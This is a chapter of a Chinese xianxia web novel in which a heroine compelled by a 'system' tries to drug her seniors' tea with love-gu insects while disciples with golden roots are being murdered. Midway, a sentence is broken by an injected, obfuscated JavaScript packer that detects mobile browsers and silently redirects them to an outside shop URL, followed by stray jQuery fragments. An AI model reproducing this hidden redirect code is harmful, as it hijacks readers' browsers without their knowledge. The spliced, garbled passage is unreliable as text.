文趣网 > 其他小说 > 卡bug后系统崩溃了 > 23. 趁乱喝了吧
    在回宗的路上,谢瑶真终于知道了为什么公冶迟和闻人茵都这么惊慌,忙不迭要找她回去。

    “太虚宗有三名金灵根的弟子,近日被发现惨遭杀害。”闻人茵紧紧握着谢瑶真的手,道,“他们都是筑基初期。”

    “小师妹,你也是筑基初期的金灵根。师尊很担心你在外面出什么岔子,所以派我们急寻你回去。”公冶迟神色凝重道。

    “小师妹,你不知道,我都快吓死了。”闻人茵忍不住抱住她,谢瑶真听了刚刚那番话,一时有些恍神,怔了一瞬,才连忙拍了拍闻人茵的背安抚她。

    “二师姐,我好好的,你们别担心。”谢瑶真略有迟疑,还是问了出来,“这三名弟子……怎么出事的?”

    金灵根、筑基初期。

    她惴惴不安。

    她想到了龙伯遮那罐子里漂浮的淡金色灵根,以及水晶瓮里的“七宝”。

    公冶迟道:“之前功善殿就上报过,陆续有三名弟子领了外出任务,一直没回来核销。那三名弟子分别属天鸡峰、青龙峰、紫霞峰的三名真人座下,互相并不熟悉。他们派了弟子沿路搜寻,竟无所获。”

    “倒是昨日,另一位师妹做外出任务时,发现了一名筑基初期的散修尸体。他生前……被活活挖去了灵根。”

    “那位师妹见那手法狠毒不多见,怕是魔修余孽,或是邪修所为,连忙回宗上报师尊和众长老。恰好,璇玑门的鲜平生鲜真人和清音谷的师云旷师真人也来了太虚宗,带来了一个震惊的消息——”

    公冶迟紧锁眉头,沉重地说道:

    “一个多月前,璇玑门和清音谷就有筑基初期的金灵根弟子失踪了。天灵根弟子是宗门翘楚,他们自然急忙搜寻,耗了一番时日,终于发现了那些弟子的尸体。他们……全部死状凄惨,生前活活被取走了身体的一部分。”

    谢瑶真浑身冒冷汗,面色惨白。

    又听公冶迟道:“有的被挖了心,有的被取了肾。还有的髓脑不翼而飞。更令人脊背生寒的是,有的弟子被取走了精、血,甚至于炁。”

    “遭难的仙门弟子,加上散修,整整八人。那幕后之人专对金灵根的筑基初期修士出手。”

    公冶迟沉重地摇头,面色带有怒气:“我实在想不出,除了魔宫的邪修,还有谁能做出这样令人发指的事!”

    他每说一句,谢瑶真的脸就苍白一分。

    闻人茵扶住摇摇欲坠的谢瑶真,对公冶迟皱眉道:“大师兄,你吓到小师妹了。”

    公冶迟见谢瑶真一副魂不守舍的样子,连忙关切道:“小师妹,对不住。你还好吗?你放心,这次将你接回宗,我们定将你严加保护起来……”

    他抬起手,想像往常那样拍拍谢瑶真的肩以示安抚,却又想起月圆夜缥缈峰上小师妹的表白,一时尴尬,想要避嫌,于是又将手又垂下。

    谢瑶真担心这龙伯遮惹出的祸事有越闹越大的架势,精神恍惚,没注意到公冶迟的不自然。

    忽听见闻人茵道:“可是魔宫余孽已经不存,还有谁有这样的能耐?难道是曾经受过魔宫恩惠的散修,来找仙门报仇?”

    公冶迟摇头:“我看不像是泄愤。他们出手目标明确,从每个受害修士身上挖走一样东西,难保不是某种重塑血肉的邪术需要。”

    公冶迟已经猜得七七八八了。深知内情的谢瑶真越听越胆寒。

    见谢瑶真脸色难看,公冶迟以为她被吓住了,忙道:

    “小师妹放心,这段时间你就呆在宗门里。那邪修只会在外面伏击,还不至于将手伸进宗门里来。等我们将那邪修找出来问罪,你就安全了。”

    谢瑶真无话,忧心忡忡地点了点头。

    她真乖乖呆在宗门里,被限制了行动,该怎么去找龙伯遮拿每月要用的冲灵丹?

    三仙门目前还不知道那邪修就是龙伯遮。

    若是发现了,她怎么办?

    狗儿姐还在他的手里。就算在三仙门联合围捕下,龙伯遮倒台,以他的脾气,必然会玉石俱焚,让自己和狗儿姐不会好过。

    说不定,他还会以狗儿姐为要挟,让自己为他做更过分的事。

    说话间就回了宗门,谢瑶真想要去向谢容远报个平安,却听公冶迟道:“师尊、众长老,以及鲜、师二位真人还在天机殿商议搜捕邪修的事,小师妹可以先回水云居修养。”

    于是谢瑶真和公冶迟、闻人茵道别后便回了水云居。

    这几日秋玄度也如往常那般来找她讨教剑法。她一想到那日缥缈峰顶的事全被这个小师弟看去听去;连被系统惩罚时的窘迫都在他面前全部呈现,就感到一阵羞恼和不安。

    就算他发了那样重的誓……

    还是得想个办法,把秋玄度那夜的记忆给抹去了才安心。

    水云居的院中,谢瑶真和秋玄度拆解着剑招。她一边比划一边解说,秋玄度听得全神贯注,时不时问一两句,谢瑶真解释了其中关节,他又点点头,露出受教的神情。

    因为只是拆解剑招,两人都没有大开大合地切磋,便没离开水云居。

    这夜是蛾眉月,谢瑶真养在后院房顶的望月虫已经决出了蛊王。她按照系统的安排,将一雌一雄分开,放在瓦罐里,一只放在房顶西北角,一只放在东南角。

    练了近两个时辰,两人都有些疲累,谢瑶真收了剑,给自己烹茶喝。

    秋玄度望着水云居的檐角。那里挂了一只铜风铃,铃舌是一串小鱼,风一吹,发出叮铃叮铃的响声。

    谢瑶真顺着他的目光看去,微微有些紧张。

    “小师弟,你在看什么?”

    秋玄度闻声,收回目光,乌亮的眼瞳对上她的视线,露出一线微笑:“没什么,在看月亮。”

    谢瑶真松了口气。

    还以为他发现了望月虫呢。

    “月亮有什么好看的?”她随口一说。

    秋玄度顿了顿,望着她笑:“我今日才知道,月亮真的像美人的眉毛。无怪叫蛾眉月。”

    谢瑶真倍感无语。修仙之人天天望月修炼,他今日才知道?

    茶烹好了,芬芳四溢。谢瑶真给秋玄度倒了一杯,放在案前,做了个“请”的手势:

    “来一杯?”

    浅黄色的茶汤透亮,白瓷盏细腻。秋玄度弯起眼睛,拈过茶盏:

    “好香。”他赞了一声,细细品茗,“多谢小师姐。”

    ……

    “好香。”公冶迟浅饮了一口白瓷盏中的茶,放回了谢瑶真案前,“小师妹,你烹茶的技艺又精进了。”

    今日请公冶迟来水云居品茗,谢瑶真有一个重要的计划。

    “大师兄谬赞。其实今日请大师兄来水云居,也不单为品茶。近日,我忽然想通了一件事——”谢瑶真笑道:

    “清微师妹以明心剑的心法请教我,我于剑法中才突然了悟,先前对大师兄的一切痴缠,都是我心不清、神不明时产生的执念。今后我应当潜心修行,不被执念所扰。大师兄还是我的大师兄,还望大师兄你……不要计较。我以后定然以侍奉兄长之礼侍奉你,还请大师兄原谅瑶真那日的唐突。”

    公冶迟微微一愣,讶然不已,随后笑容便跃然脸上:“小师妹,你能这么想,我便放心了!”

    谢瑶真面上的微笑十分得体。

    她一只胳膊横放桌前,食指显得有些无聊地叩着桌面。

    她在中指和食指的指甲里分别藏了望月虫的雌蛊和雄蛊,正等着给男女主下进茶汤里。这种小虫本就纤细,炼成蛊后更是几乎透明,很难被发觉。

    按照系统给的原书剧情,她本想将雄蛊种给公冶迟,雌蛊种给自己,但没想到谢清微忽然来水云居为她送草药。她留谢清微饮茶时,自己那杯下了雌蛊的茶不小心被谢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682562|205467||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清微饮下。

    男女主的感情线由此得到迅猛的推进。

    谢瑶真看得出来谢清微早对公冶迟芳心暗许;公冶迟也对谢清微暗暗关注,恐怕已经动心,他自己都不知道。

    以这种方式“撮合”他们,谢瑶真虽不愿,却被系统所迫没有办法。

    对不起了,大师兄、清微师妹。

    见公冶迟杯中茶尽,谢瑶真又给他倒上,食指在杯沿轻轻搭了一下。

    “小师姐!咦——大师兄也在!”

    不远处忽传来朗润的一声喊。

    谢瑶真一惊,抬头,见到秋玄度乌发飞扬,红衣绚烂,御剑从空中下来:

    “小师姐又在煮茶了!玄度正口渴,能不能向师姐讨一杯?”

    谢瑶真一顿:系统有说这个剧情点里有秋玄度吗?

    眼下她的茶具不够,说道:“当然,小师弟稍等,我再去取茶杯来。”

    谢瑶真刚取完茶杯,出来就看见这一幕——

    公冶迟道:“小师弟,你要是渴得厉害,来饮我这杯。刚好温热,不会太烫。”

    秋玄度道:“如此,多谢大师兄。”

    “等——”谢瑶真瞳孔猛地放大,话还未脱口,就见秋玄度将那放了雄蛊的茶汤一饮而尽。

    “小师姐?”撞上谢瑶真那震惊的眼神,秋玄度赧然一笑,“抱歉,玄度牛饮,糟蹋小师姐的香茶了。”

    谢瑶真一时崩溃难言。

    你糟蹋我的望月蛊了!

    正在谢瑶真焦急不安,琢磨着要是下了雄蛊不下雌蛊,宿体会不会爆体而亡的时候,谢清微到了。

    “瑶真师姐,我给你带了我自己种的明目草——咦?各位都在啊?”

    谢清微从剑上跳下,规规矩矩向他们逐一行礼:“公冶师兄,瑶真师姐,秋师兄。”

    “清微师妹。”公冶迟忙招呼道,“快来,你瑶真师姐烹茶的手艺越来越好了。”

    “……清微师妹。”谢瑶真计划全乱,心里惴惴不安,神思不属地招呼谢清微坐下,“快来尝尝。”

    这样一来,雌蛊是必然不能给女主下了。

    谢瑶真特意将中指压在杯底,给谢清微倒了一杯没有加料的清茶。

    只是,这样一来,剧情点推进不了,她自己受一番系统折磨也就罢了;雌蛊下不了,雄蛊却已经到了秋玄度体内。

    系统只教了她种蛊,没教她解蛊。难道真的要看着秋玄度无辜去死?

    她思绪万千,自己面前的茶汤却一动未动。

    忽听见秋玄度一声:

    “小师姐,玄度今日不知为何渴得厉害,小师姐就把你面前未动的那杯给我如何?”

    说着伸手就要来取谢瑶真的茶。

    谢瑶真正在沉思,被他突如其来的动作下了一跳,道:“你急什么,我另给你倒就好了。”

    “好。”秋玄度笑容满面地看着谢瑶真重新给他倒了一杯,忽道,“玄度怎么觉得小师姐的这杯更醇香些?”

    竟兀自夺过她面前杯盏,饮了下去。

    “诶?”谢瑶真一惊,伸手下意识在新的茶杯上搭了一下。虽不知秋玄度今日为何这样失了法度,却也无可奈何,将自己那盏茶与了他了事。

    她握着新的那盏茶沉思。

    谢瑶真胸中藏事,有一搭没一搭地与谢清微与公冶迟说话,说了些什么,她自己也记不清了,三心二意,思绪翻飞。为了掩饰自己走神,她端起自己的茶杯,时不时小口啜饮着。

    等下意识再饮时,那一杯就见了底。谢瑶真端起茶壶再续,忽手一抖。

    她的中指指甲里已经没有雌蛊了。

    她看了看自己空空如也的茶杯,又看了看自己空空如也的指甲。

    她想起刚刚自己那个搭住杯口的动作。

    完蛋。

    她好像把雌蛊下给自己了。